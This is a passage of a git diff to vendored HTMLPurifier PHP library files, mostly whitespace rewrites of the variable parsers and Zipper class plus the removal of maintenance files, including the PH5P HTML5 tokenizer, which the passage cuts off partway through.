key:value,key2:value2 + $nvar = array(); + foreach ($var as $keypair) { + $c = explode(':', $keypair, 2); + if (!isset($c[1])) { + continue; + } + $nvar[trim($c[0])] = trim($c[1]); + } + $var = $nvar; + } + } + if (!is_array($var)) { + break; + } + $keys = array_keys($var); + if ($keys === array_keys($keys)) { + if ($type == self::ALIST) { + return $var; + } elseif ($type == self::LOOKUP) { + $new = array(); + foreach ($var as $key) { + $new[$key] = true; + } + return $new; + } else { + break; + } + } + if ($type === self::ALIST) { + trigger_error("Array list did not have consecutive integer indexes", E_USER_WARNING); + return array_values($var); + } + if ($type === self::LOOKUP) { + foreach ($var as $key => $value) { + if ($value !== true) { + trigger_error( + "Lookup array has non-true value at key '$key'; " . + "maybe your input array was not indexed numerically", + E_USER_WARNING + ); + } + $var[$key] = true; + } + } + return $var; + default: + $this->errorInconsistent(__CLASS__, $type); + } + $this->errorGeneric($var, $type); + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/VarParser/Native.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/VarParser/Native.php index c28055b5ed..f11c318efb 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/VarParser/Native.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/VarParser/Native.php @@ -1,38 +1,38 @@ -evalExpression($var); - } - - /** - * @param string $expr - * @return mixed - * @throws HTMLPurifier_VarParserException - */ - protected function evalExpression($expr) - { - $var = null; - $result = eval("\$var = $expr;"); - if ($result === false) { - throw new HTMLPurifier_VarParserException("Fatal error in evaluated code"); - } - return $var; - } -} - -// vim: et sw=4 sts=4 +evalExpression($var); + } + + /** + * @param string $expr + * @return mixed + * @throws HTMLPurifier_VarParserException + */ + protected function evalExpression($expr) + { + $var = null; + $result = eval("\$var = $expr;"); + if ($result === false) { + throw new HTMLPurifier_VarParserException("Fatal error in evaluated code"); + } + return $var; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/VarParserException.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/VarParserException.php index 82e465d6a9..5df3414959 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/VarParserException.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/VarParserException.php @@ -1,11 +1,11 @@ -front = $front; - $this->back = $back; - } - - /** - * Creates a zipper from an array, with a hole in the - * 0-index position. - * @param Array to zipper-ify. - * @return Tuple of zipper and element of first position. - */ - static public function fromArray($array) { - $z = new self(array(), array_reverse($array)); - $t = $z->delete(); // delete the "dummy hole" - return array($z, $t); - } - - /** - * Convert zipper back into a normal array, optionally filling in - * the hole with a value. (Usually you should supply a $t, unless you - * are at the end of the array.) - */ - public function toArray($t = NULL) { - $a = $this->front; - if ($t !== NULL) $a[] = $t; - for ($i = count($this->back)-1; $i >= 0; $i--) { - $a[] = $this->back[$i]; - } - return $a; - } - - /** - * Move hole to the next element. - * @param $t Element to fill hole with - * @return Original contents of new hole. - */ - public function next($t) { - if ($t !== NULL) array_push($this->front, $t); - return empty($this->back) ? NULL : array_pop($this->back); - } - - /** - * Iterated hole advancement. - * @param $t Element to fill hole with - * @param $i How many forward to advance hole - * @return Original contents of new hole, i away - */ - public function advance($t, $n) { - for ($i = 0; $i < $n; $i++) { - $t = $this->next($t); - } - return $t; - } - - /** - * Move hole to the previous element - * @param $t Element to fill hole with - * @return Original contents of new hole. - */ - public function prev($t) { - if ($t !== NULL) array_push($this->back, $t); - return empty($this->front) ? NULL : array_pop($this->front); - } - - /** - * Delete contents of current hole, shifting hole to - * next element. - * @return Original contents of new hole. - */ - public function delete() { - return empty($this->back) ? NULL : array_pop($this->back); - } - - /** - * Returns true if we are at the end of the list. - * @return bool - */ - public function done() { - return empty($this->back); - } - - /** - * Insert element before hole. - * @param Element to insert - */ - public function insertBefore($t) { - if ($t !== NULL) array_push($this->front, $t); - } - - /** - * Insert element after hole. - * @param Element to insert - */ - public function insertAfter($t) { - if ($t !== NULL) array_push($this->back, $t); - } - - /** - * Splice in multiple elements at hole. Functional specification - * in terms of array_splice: - * - * $arr1 = $arr; - * $old1 = array_splice($arr1, $i, $delete, $replacement); - * - * list($z, $t) = HTMLPurifier_Zipper::fromArray($arr); - * $t = $z->advance($t, $i); - * list($old2, $t) = $z->splice($t, $delete, $replacement); - * $arr2 = $z->toArray($t); - * - * assert($old1 === $old2); - * assert($arr1 === $arr2); - * - * NB: the absolute index location after this operation is - * *unchanged!* - * - * @param Current contents of hole. - */ - public function splice($t, $delete, $replacement) { - // delete - $old = array(); - $r = $t; - for ($i = $delete; $i > 0; $i--) { - $old[] = $r; - $r = $this->delete(); - } - // insert - for ($i = count($replacement)-1; $i >= 0; $i--) { - $this->insertAfter($r); - $r = $replacement[$i]; - } - return array($old, $r); - } -} +front = $front; + $this->back = $back; + } + + /** + * Creates a zipper from an array, with a hole in the + * 0-index position. + * @param Array to zipper-ify. + * @return Tuple of zipper and element of first position. + */ + static public function fromArray($array) { + $z = new self(array(), array_reverse($array)); + $t = $z->delete(); // delete the "dummy hole" + return array($z, $t); + } + + /** + * Convert zipper back into a normal array, optionally filling in + * the hole with a value. (Usually you should supply a $t, unless you + * are at the end of the array.) + */ + public function toArray($t = NULL) { + $a = $this->front; + if ($t !== NULL) $a[] = $t; + for ($i = count($this->back)-1; $i >= 0; $i--) { + $a[] = $this->back[$i]; + } + return $a; + } + + /** + * Move hole to the next element. + * @param $t Element to fill hole with + * @return Original contents of new hole. + */ + public function next($t) { + if ($t !== NULL) array_push($this->front, $t); + return empty($this->back) ? NULL : array_pop($this->back); + } + + /** + * Iterated hole advancement. + * @param $t Element to fill hole with + * @param $i How many forward to advance hole + * @return Original contents of new hole, i away + */ + public function advance($t, $n) { + for ($i = 0; $i < $n; $i++) { + $t = $this->next($t); + } + return $t; + } + + /** + * Move hole to the previous element + * @param $t Element to fill hole with + * @return Original contents of new hole. + */ + public function prev($t) { + if ($t !== NULL) array_push($this->back, $t); + return empty($this->front) ? NULL : array_pop($this->front); + } + + /** + * Delete contents of current hole, shifting hole to + * next element. + * @return Original contents of new hole. + */ + public function delete() { + return empty($this->back) ? NULL : array_pop($this->back); + } + + /** + * Returns true if we are at the end of the list. + * @return bool + */ + public function done() { + return empty($this->back); + } + + /** + * Insert element before hole. + * @param Element to insert + */ + public function insertBefore($t) { + if ($t !== NULL) array_push($this->front, $t); + } + + /** + * Insert element after hole. + * @param Element to insert + */ + public function insertAfter($t) { + if ($t !== NULL) array_push($this->back, $t); + } + + /** + * Splice in multiple elements at hole. Functional specification + * in terms of array_splice: + * + * $arr1 = $arr; + * $old1 = array_splice($arr1, $i, $delete, $replacement); + * + * list($z, $t) = HTMLPurifier_Zipper::fromArray($arr); + * $t = $z->advance($t, $i); + * list($old2, $t) = $z->splice($t, $delete, $replacement); + * $arr2 = $z->toArray($t); + * + * assert($old1 === $old2); + * assert($arr1 === $arr2); + * + * NB: the absolute index location after this operation is + * *unchanged!* + * + * @param Current contents of hole. + */ + public function splice($t, $delete, $replacement) { + // delete + $old = array(); + $r = $t; + for ($i = $delete; $i > 0; $i--) { + $old[] = $r; + $r = $this->delete(); + } + // insert + for ($i = count($replacement)-1; $i >= 0; $i--) { + $this->insertAfter($r); + $r = $replacement[$i]; + } + return array($old, $r); + } +} diff --git a/vendor/ezyang/htmlpurifier/maintenance/.htaccess b/vendor/ezyang/htmlpurifier/maintenance/.htaccess deleted file mode 100644 index 384358349b..0000000000 --- a/vendor/ezyang/htmlpurifier/maintenance/.htaccess +++ /dev/null @@ -1,7 +0,0 @@ - - Require all denied - - - - Deny from all - diff --git a/vendor/ezyang/htmlpurifier/maintenance/PH5P.patch b/vendor/ezyang/htmlpurifier/maintenance/PH5P.patch deleted file mode 100644 index ed10e70429..0000000000 --- a/vendor/ezyang/htmlpurifier/maintenance/PH5P.patch +++ /dev/null @@ -1,102 +0,0 @@ ---- C:\Users\Edward\Webs\htmlpurifier\maintenance\PH5P.php 2008-07-07 09:12:12.000000000 -0400 -+++ C:\Users\Edward\Webs\htmlpurifier\maintenance/PH5P.new.php 2008-12-06 02:29:34.988800000 -0500 -@@ -65,7 +65,7 @@ - - public function __construct($data) { - $data = str_replace("\r\n", "\n", $data); -- $date = str_replace("\r", null, $data); -+ $data = str_replace("\r", null, $data); - - $this->data = $data; - $this->char = -1; -@@ -211,7 +211,10 @@ - // If nothing is returned, emit a U+0026 AMPERSAND character token. - // Otherwise, emit the character token that was returned. - $char = (!$entity) ? '&' : $entity; -- $this->emitToken($char); -+ $this->emitToken(array( -+ 'type' => self::CHARACTR, -+ 'data' => $char -+ )); - - // Finally, switch to the data state. - $this->state = 'data'; -@@ -708,7 +711,7 @@ - } elseif($char === '&') { - /* U+0026 AMPERSAND (&) - Switch to the entity in attribute value state. */ -- $this->entityInAttributeValueState('non'); -+ $this->entityInAttributeValueState(); - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) -@@ -738,7 +741,8 @@ - ? '&' - : $entity; - -- $this->emitToken($char); -+ $last = count($this->token['attr']) - 1; -+ $this->token['attr'][$last]['value'] .= $char; - } - - private function bogusCommentState() { -@@ -1066,6 +1070,11 @@ - $this->char++; - - if(in_array($id, $this->entities)) { -+ if ($e_name[$c-1] !== ';') { -+ if ($c < $len && $e_name[$c] == ';') { -+ $this->char++; // consume extra semicolon -+ } -+ } - $entity = $id; - break; - } -@@ -2084,7 +2093,7 @@ - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - -- $this->insertElement($token); -+ $this->insertElement($token, true, true); - break; - } - break; -@@ -3465,7 +3474,18 @@ - } - } - -- private function insertElement($token, $append = true) { -+ private function insertElement($token, $append = true, $check = false) { -+ // Proprietary workaround for libxml2's limitations with tag names -+ if ($check) { -+ // Slightly modified HTML5 tag-name modification, -+ // removing anything that's not an ASCII letter, digit, or hyphen -+ $token['name'] = preg_replace('/[^a-z0-9-]/i', '', $token['name']); -+ // Remove leading hyphens and numbers -+ $token['name'] = ltrim($token['name'], '-0..9'); -+ // In theory, this should ever be needed, but just in case -+ if ($token['name'] === '') $token['name'] = 'span'; // arbitrary generic choice -+ } -+ - $el = $this->dom->createElement($token['name']); - - foreach($token['attr'] as $attr) { -@@ -3659,7 +3679,7 @@ - } - } - -- private function generateImpliedEndTags(array $exclude = array()) { -+ private function generateImpliedEndTags($exclude = array()) { - /* When the steps below require the UA to generate implied end tags, - then, if the current node is a dd element, a dt element, an li element, - a p element, a td element, a th element, or a tr element, the UA must -@@ -3673,7 +3693,8 @@ - } - } - -- private function getElementCategory($name) { -+ private function getElementCategory($node) { -+ $name = $node->tagName; - if(in_array($name, $this->special)) - return self::SPECIAL; - diff --git a/vendor/ezyang/htmlpurifier/maintenance/PH5P.php b/vendor/ezyang/htmlpurifier/maintenance/PH5P.php deleted file mode 100644 index 9ea2b8c432..0000000000 --- a/vendor/ezyang/htmlpurifier/maintenance/PH5P.php +++ /dev/null @@ -1,3889 +0,0 @@ -data = $data; - $this->char = -1; - $this->EOF = strlen($data); - $this->tree = new HTML5TreeConstructer; - $this->content_model = self::PCDATA; - - $this->state = 'data'; - - while($this->state !== null) { - $this->{$this->state.'State'}(); - } - } - - public function save() - { - return $this->tree->save(); - } - - private function char() - { - return ($this->char < $this->EOF) - ? $this->data[$this->char] - : false; - } - - private function character($s, $l = 0) - { - if($s + $l < $this->EOF) { - if($l === 0) { - return $this->data[$s]; - } else { - return substr($this->data, $s, $l); - } - } - } - - private function characters($char_class, $start) - { - return preg_replace('#^(['.$char_class.']+).*#s', '\\1', substr($this->data, $start)); - } - - private function dataState() - { - // Consume the next input character - $this->char++; - $char = $this->char(); - - if($char === '&' && ($this->content_model === self::PCDATA || $this->content_model === self::RCDATA)) { - /* U+0026 AMPERSAND (&) - When the content model flag is set to one of the PCDATA or RCDATA - states: switch to the entity data state. Otherwise: treat it as per - the "anything else" entry below. */ - $this->state = 'entityData'; - - } elseif($char === '-') { - /* If the content model flag is set to either the RCDATA state or - the CDATA state, and the escape flag is false, and there are at - least three characters before this one in the input stream, and the - last four characters in the input stream, including this one, are - U+003C LESS-THAN SIGN, U+0021 EXCLAMATION MARK, U+002D HYPHEN-MINUS, - and U+002D HYPHEN-MINUS (""), - set the escape flag to false. */ - if(($this->content_model === self::RCDATA || - $this->content_model === self::CDATA) && $this->escape === true && - $this->character($this->char, 3) === '-->') { - $this->escape = false; - } - - /* In any case, emit the input character as a character token. - Stay in the data state. */ - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => $char - )); - - } elseif($this->char === $this->EOF) { - /* EOF - Emit an end-of-file token. */ - $this->EOF(); - - } elseif($this->content_model === self::PLAINTEXT) { - /* When the content model flag is set to the PLAINTEXT state - THIS DIFFERS GREATLY FROM THE SPEC: Get the remaining characters of - the text and emit it as a character token. */ - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => substr($this->data, $this->char) - )); - - $this->EOF(); - - } else { - /* Anything else - THIS DIFFERS GREATLY FROM THE SPEC: Get as many character that - otherwise would also be treated as a character token and emit it - as a single character token. Stay in the data state. */ - $len = strcspn($this->data, '<&', $this->char); - $char = substr($this->data, $this->char, $len); - $this->char += $len - 1; - - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => $char - )); - - $this->state = 'data'; - } - } - - private function entityDataState() - { - // Attempt to consume an entity. - $entity = $this->entity(); - - // If nothing is returned, emit a U+0026 AMPERSAND character token. - // Otherwise, emit the character token that was returned. - $char = (!$entity) ? '&' : $entity; - $this->emitToken($char); - - // Finally, switch to the data state. - $this->state = 'data'; - } - - private function tagOpenState() - { - switch($this->content_model) { - case self::RCDATA: - case self::CDATA: - /* If the next input character is a U+002F SOLIDUS (/) character, - consume it and switch to the close tag open state. If the next - input character is not a U+002F SOLIDUS (/) character, emit a - U+003C LESS-THAN SIGN character token and switch to the data - state to process the next input character. */ - if($this->character($this->char + 1) === '/') { - $this->char++; - $this->state = 'closeTagOpen'; - - } else { - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => '<' - )); - - $this->state = 'data'; - } - break; - - case self::PCDATA: - // If the content model flag is set to the PCDATA state - // Consume the next input character: - $this->char++; - $char = $this->char(); - - if($char === '!') { - /* U+0021 EXCLAMATION MARK (!) - Switch to the markup declaration open state. */ - $this->state = 'markupDeclarationOpen'; - - } elseif($char === '/') { - /* U+002F SOLIDUS (/) - Switch to the close tag open state. */ - $this->state = 'closeTagOpen'; - - } elseif(preg_match('/^[A-Za-z]$/', $char)) { - /* U+0041 LATIN LETTER A through to U+005A LATIN LETTER Z - Create a new start tag token, set its tag name to the lowercase - version of the input character (add 0x0020 to the character's code - point), then switch to the tag name state. (Don't emit the token - yet; further details will be filled in before it is emitted.) */ - $this->token = array( - 'name' => strtolower($char), - 'type' => self::STARTTAG, - 'attr' => array() - ); - - $this->state = 'tagName'; - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Parse error. Emit a U+003C LESS-THAN SIGN character token and a - U+003E GREATER-THAN SIGN character token. Switch to the data state. */ - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => '<>' - )); - - $this->state = 'data'; - - } elseif($char === '?') { - /* U+003F QUESTION MARK (?) - Parse error. Switch to the bogus comment state. */ - $this->state = 'bogusComment'; - - } else { - /* Anything else - Parse error. Emit a U+003C LESS-THAN SIGN character token and - reconsume the current input character in the data state. */ - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => '<' - )); - - $this->char--; - $this->state = 'data'; - } - break; - } - } - - private function closeTagOpenState() - { - $next_node = strtolower($this->characters('A-Za-z', $this->char + 1)); - $the_same = count($this->tree->stack) > 0 && $next_node === end($this->tree->stack)->nodeName; - - if(($this->content_model === self::RCDATA || $this->content_model === self::CDATA) && - (!$the_same || ($the_same && (!preg_match('/[\t\n\x0b\x0c >\/]/', - $this->character($this->char + 1 + strlen($next_node))) || $this->EOF === $this->char)))) { - /* If the content model flag is set to the RCDATA or CDATA states then - examine the next few characters. If they do not match the tag name of - the last start tag token emitted (case insensitively), or if they do but - they are not immediately followed by one of the following characters: - * U+0009 CHARACTER TABULATION - * U+000A LINE FEED (LF) - * U+000B LINE TABULATION - * U+000C FORM FEED (FF) - * U+0020 SPACE - * U+003E GREATER-THAN SIGN (>) - * U+002F SOLIDUS (/) - * EOF - ...then there is a parse error. Emit a U+003C LESS-THAN SIGN character - token, a U+002F SOLIDUS character token, and switch to the data state - to process the next input character. */ - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => 'state = 'data'; - - } else { - /* Otherwise, if the content model flag is set to the PCDATA state, - or if the next few characters do match that tag name, consume the - next input character: */ - $this->char++; - $char = $this->char(); - - if(preg_match('/^[A-Za-z]$/', $char)) { - /* U+0041 LATIN LETTER A through to U+005A LATIN LETTER Z - Create a new end tag token, set its tag name to the lowercase version - of the input character (add 0x0020 to the character's code point), then - switch to the tag name state. (Don't emit the token yet; further details - will be filled in before it is emitted.) */ - $this->token = array( - 'name' => strtolower($char), - 'type' => self::ENDTAG - ); - - $this->state = 'tagName'; - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Parse error. Switch to the data state. */ - $this->state = 'data'; - - } elseif($this->char === $this->EOF) { - /* EOF - Parse error. Emit a U+003C LESS-THAN SIGN character token and a U+002F - SOLIDUS character token. Reconsume the EOF character in the data state. */ - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => 'char--; - $this->state = 'data'; - - } else { - /* Parse error. Switch to the bogus comment state. */ - $this->state = 'bogusComment'; - } - } - } - - private function tagNameState() - { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - /* U+0009 CHARACTER TABULATION - U+000A LINE FEED (LF) - U+000B LINE TABULATION - U+000C FORM FEED (FF) - U+0020 SPACE - Switch to the before attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Emit the current tag token. Switch to the data state. */ - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif($this->char === $this->EOF) { - /* EOF - Parse error. Emit the current tag token. Reconsume the EOF - character in the data state. */ - $this->emitToken($this->token); - - $this->char--; - $this->state = 'data'; - - } elseif($char === '/') { - /* U+002F SOLIDUS (/) - Parse error unless this is a permitted slash. Switch to the before - attribute name state. */ - $this->state = 'beforeAttributeName'; - - } else { - /* Anything else - Append the current input character to the current tag token's tag name. - Stay in the tag name state. */ - $this->token['name'] .= strtolower($char); - $this->state = 'tagName'; - } - } - - private function beforeAttributeNameState() - { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - /* U+0009 CHARACTER TABULATION - U+000A LINE FEED (LF) - U+000B LINE TABULATION - U+000C FORM FEED (FF) - U+0020 SPACE - Stay in the before attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Emit the current tag token. Switch to the data state. */ - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif($char === '/') { - /* U+002F SOLIDUS (/) - Parse error unless this is a permitted slash. Stay in the before - attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif($this->char === $this->EOF) { - /* EOF - Parse error. Emit the current tag token. Reconsume the EOF - character in the data state. */ - $this->emitToken($this->token); - - $this->char--; - $this->state = 'data'; - - } else { - /* Anything else - Start a new attribute in the current tag token. Set that attribute's - name to the current input character, and its value to the empty string. - Switch to the attribute name state. */ - $this->token['attr'][] = array( - 'name' => strtolower($char), - 'value' => null - ); - - $this->state = 'attributeName'; - } - } - - private function attributeNameState() - { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - /* U+0009 CHARACTER TABULATION - U+000A LINE FEED (LF) - U+000B LINE TABULATION - U+000C FORM FEED (FF) - U+0020 SPACE - Stay in the before attribute name state. */ - $this->state = 'afterAttributeName'; - - } elseif($char === '=') { - /* U+003D EQUALS SIGN (=) - Switch to the before attribute value state. */ - $this->state = 'beforeAttributeValue'; - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Emit the current tag token. Switch to the data state. */ - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif($char === '/' && $this->character($this->char + 1) !== '>') { - /* U+002F SOLIDUS (/) - Parse error unless this is a permitted slash. Switch to the before - attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif($this->char === $this->EOF) { - /* EOF - Parse error. Emit the current tag token. Reconsume the EOF - character in the data state. */ - $this->emitToken($this->token); - - $this->char--; - $this->state = 'data'; - - } else { - /* Anything else - Append the current input character to the current attribute's name. - Stay in the attribute name state. */ - $last = count($this->token['attr']) - 1; - $this->token['attr'][$last]['name'] .= strtolower($char); - - $this->state = 'attributeName'; - } - } - - private function afterAttributeNameState() - { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - /* U+0009 CHARACTER TABULATION - U+000A LINE FEED (LF) - U+000B LINE TABULATION - U+000C FORM FEED (FF) - U+0020 SPACE - Stay in the after attribute name state. */ - $this->state = 'afterAttributeName'; - - } elseif($char === '=') { - /* U+003D EQUALS SIGN (=) - Switch to the before attribute value state. */ - $this->state = 'beforeAttributeValue'; - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Emit the current tag token. Switch to the data state. */ - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif($char === '/' && $this->character($this->char + 1) !== '>') { - /* U+002F SOLIDUS (/) - Parse error unless this is a permitted slash. Switch to the - before attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif($this->char === $this->EOF) { - /* EOF - Parse error. Emit the current tag token. Reconsume the EOF - character in the data state. */ - $this->emitToken($this->token); - - $this->char--; - $this->state = 'data'; - - } else { - /* Anything else - Start a new attribute in the current tag token. Set that attribute's - name to the current input character, and its value to the empty string. - Switch to the attribute name state. */ - $this->token['attr'][] = array( - 'name' => strtolower($char), - 'value' => null - ); - - $this->state = 'attributeName'; - } - } - - private function beforeAttributeValueState() - { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - /* U+0009 CHARACTER TABULATION - U+000A LINE FEED (LF) - U+000B LINE TABULATION - U+000C FORM FEED (FF) - U+0020 SPACE - Stay in the before attribute value state. */ - $this->state = 'beforeAttributeValue'; - - } elseif($char === '"') { - /* U+0022 QUOTATION MARK (") - Switch to the attribute value (double-quoted) state. */ - $this->state = 'attributeValueDoubleQuoted'; - - } elseif($char === '&') { - /* U+0026 AMPERSAND (&) - Switch to the attribute value (unquoted) state and reconsume - this input character. */ - $this->char--; - $this->state = 'attributeValueUnquoted'; - - } elseif($char === '\'') { - /* U+0027 APOSTROPHE (') - Switch to the attribute value (single-quoted) state. */ - $this->state = 'attributeValueSingleQuoted'; - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Emit the current tag token. Switch to the data state. */ - $this->emitToken($this->token); - $this->state = 'data'; - - } else { - /* Anything else - Append the current input character to the current attribute's value. - Switch to the attribute value (unquoted) state. */ - $last = count($this->token['attr']) - 1; - $this->token['attr'][$last]['value'] .= $char; - - $this->state = 'attributeValueUnquoted'; - } - } - - private function attributeValueDoubleQuotedState() - { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if($char === '"') { - /* U+0022 QUOTATION MARK (") - Switch to the before attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif($char === '&') { - /* U+0026 AMPERSAND (&) - Switch to the entity in attribute value state. */ - $this->entityInAttributeValueState('double'); - - } elseif($this->char === $this->EOF) { - /* EOF - Parse error. Emit the current tag token. Reconsume the character - in the data state. */ - $this->emitToken($this->token); - - $this->char--; - $this->state = 'data'; - - } else { - /* Anything else - Append the current input character to the current attribute's value. - Stay in the attribute value (double-quoted) state. */ - $last = count($this->token['attr']) - 1; - $this->token['attr'][$last]['value'] .= $char; - - $this->state = 'attributeValueDoubleQuoted'; - } - } - - private function attributeValueSingleQuotedState() - { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if($char === '\'') { - /* U+0022 QUOTATION MARK (') - Switch to the before attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif($char === '&') { - /* U+0026 AMPERSAND (&) - Switch to the entity in attribute value state. */ - $this->entityInAttributeValueState('single'); - - } elseif($this->char === $this->EOF) { - /* EOF - Parse error. Emit the current tag token. Reconsume the character - in the data state. */ - $this->emitToken($this->token); - - $this->char--; - $this->state = 'data'; - - } else { - /* Anything else - Append the current input character to the current attribute's value. - Stay in the attribute value (single-quoted) state. */ - $last = count($this->token['attr']) - 1; - $this->token['attr'][$last]['value'] .= $char; - - $this->state = 'attributeValueSingleQuoted'; - } - } - - private function attributeValueUnquotedState() - { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - /* U+0009 CHARACTER TABULATION - U+000A LINE FEED (LF) - U+000B LINE TABULATION - U+000C FORM FEED (FF) - U+0020 SPACE - Switch to the before attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif($char === '&') { - /* U+0026 AMPERSAND (&) - Switch to the entity in attribute value state. */ - $this->entityInAttributeValueState('non'); - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Emit the current tag token. Switch to the data state. */ - $this->emitToken($this->token); - $this->state = 'data'; - - } else { - /* Anything else - Append the current input character to the current attribute's value. - Stay in the attribute value (unquoted) state. */ - $last = count($this->token['attr']) - 1; - $this->token['attr'][$last]['value'] .= $char; - - $this->state = 'attributeValueUnquoted'; - } - } - - private function entityInAttributeValueState() - { - // Attempt to consume an entity. - $entity = $this->entity(); - - // If nothing is returned, append a U+0026 AMPERSAND character to the - // current attribute's value. Otherwise, emit the character token that - // was returned. - $char = (!$entity) - ? '&' - : $entity; - - $this->emitToken($char); - } - - private function bogusCommentState() - { - /* Consume every character up to the first U+003E GREATER-THAN SIGN - character (>) or the end of the file (EOF), whichever comes first. Emit - a comment token whose data is the concatenation of all the characters - starting from and including the character that caused the state machine - to switch into the bogus comment state, up to and including the last - consumed character before the U+003E character, if any, or up to the - end of the file otherwise. (If the comment was started by the end of - the file (EOF), the token is empty.) */ - $data = $this->characters('^>', $this->char); - $this->emitToken(array( - 'data' => $data, - 'type' => self::COMMENT - )); - - $this->char += strlen($data); - - /* Switch to the data state. */ - $this->state = 'data'; - - /* If the end of the file was reached, reconsume the EOF character. */ - if($this->char === $this->EOF) { - $this->char = $this->EOF - 1; - } - } - - private function markupDeclarationOpenState() - { - /* If the next two characters are both U+002D HYPHEN-MINUS (-) - characters, consume those two characters, create a comment token whose - data is the empty string, and switch to the comment state. */ - if($this->character($this->char + 1, 2) === '--') { - $this->char += 2; - $this->state = 'comment'; - $this->token = array( - 'data' => null, - 'type' => self::COMMENT - ); - - /* Otherwise if the next seven chacacters are a case-insensitive match - for the word "DOCTYPE", then consume those characters and switch to the - DOCTYPE state. */ - } elseif(strtolower($this->character($this->char + 1, 7)) === 'doctype') { - $this->char += 7; - $this->state = 'doctype'; - - /* Otherwise, is is a parse error. Switch to the bogus comment state. - The next character that is consumed, if any, is the first character - that will be in the comment. */ - } else { - $this->char++; - $this->state = 'bogusComment'; - } - } - - private function commentState() - { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - /* U+002D HYPHEN-MINUS (-) */ - if($char === '-') { - /* Switch to the comment dash state */ - $this->state = 'commentDash'; - - /* EOF */ - } elseif($this->char === $this->EOF) { - /* Parse error. Emit the comment token. Reconsume the EOF character - in the data state. */ - $this->emitToken($this->token); - $this->char--; - $this->state = 'data'; - - /* Anything else */ - } else { - /* Append the input character to the comment token's data. Stay in - the comment state. */ - $this->token['data'] .= $char; - } - } - - private function commentDashState() - { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - /* U+002D HYPHEN-MINUS (-) */ - if($char === '-') { - /* Switch to the comment end state */ - $this->state = 'commentEnd'; - - /* EOF */ - } elseif($this->char === $this->EOF) { - /* Parse error. Emit the comment token. Reconsume the EOF character - in the data state. */ - $this->emitToken($this->token); - $this->char--; - $this->state = 'data'; - - /* Anything else */ - } else { - /* Append a U+002D HYPHEN-MINUS (-) character and the input - character to the comment token's data. Switch to the comment state. */ - $this->token['data'] .= '-'.$char; - $this->state = 'comment'; - } - } - - private function commentEndState() - { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - if($char === '>') { - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif($char === '-') { - $this->token['data'] .= '-'; - - } elseif($this->char === $this->EOF) { - $this->emitToken($this->token); - $this->char--; - $this->state = 'data'; - - } else { - $this->token['data'] .= '--'.$char; - $this->state = 'comment'; - } - } - - private function doctypeState() - { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - $this->state = 'beforeDoctypeName'; - - } else { - $this->char--; - $this->state = 'beforeDoctypeName'; - } - } - - private function beforeDoctypeNameState() - { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - // Stay in the before DOCTYPE name state. - - } elseif(preg_match('/^[a-z]$/', $char)) { - $this->token = array( - 'name' => strtoupper($char), - 'type' => self::DOCTYPE, - 'error' => true - ); - - $this->state = 'doctypeName'; - - } elseif($char === '>') { - $this->emitToken(array( - 'name' => null, - 'type' => self::DOCTYPE, - 'error' => true - )); - - $this->state = 'data'; - - } 